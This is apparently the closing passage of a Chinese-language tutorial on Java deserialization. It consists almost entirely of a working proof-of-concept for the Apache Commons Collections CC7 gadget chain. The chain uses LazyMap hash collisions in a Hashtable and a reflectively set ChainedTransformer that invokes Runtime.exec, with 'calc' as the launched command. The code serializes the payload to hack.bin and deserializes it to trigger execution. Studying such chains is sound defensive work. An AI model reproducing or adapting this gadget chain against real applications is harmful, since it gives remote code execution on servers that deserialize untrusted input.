| public class CC7 { public static void main(String[] args) throws Exception{ Transformer chainedTransformer = new ChainedTransformer(new Transformer[]{}); Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; HashMap<Object, Object> map = new HashMap<>(); HashMap<Object, Object> map0 = new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); lazyMap.put("yy", 1); Map lazyMap0 = LazyMap.decorate(map0, chainedTransformer); lazyMap0.put("zZ", 1); Hashtable hashtable = new Hashtable(); hashtable.put(lazyMap, 1); hashtable.put(lazyMap0, 2);
Field iTransformersField = chainedTransformer.getClass().getDeclaredField("iTransformers"); iTransformersField.setAccessible(true); iTransformersField.set(chainedTransformer, transformers);
lazyMap0.remove("yy"); serialize(hashtable); deserialize("hack.bin"); } public static Object deserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object o = ois.readObject(); return o; } public static void serialize(Object o) throws IOException { FileOutputStream fileOutputStream = new FileOutputStream("hack.bin"); ObjectOutputStream out = new ObjectOutputStream(fileOutputStream); out.writeObject(o); out.close(); fileOutputStream.close(); } }
|
总结
一张图来概括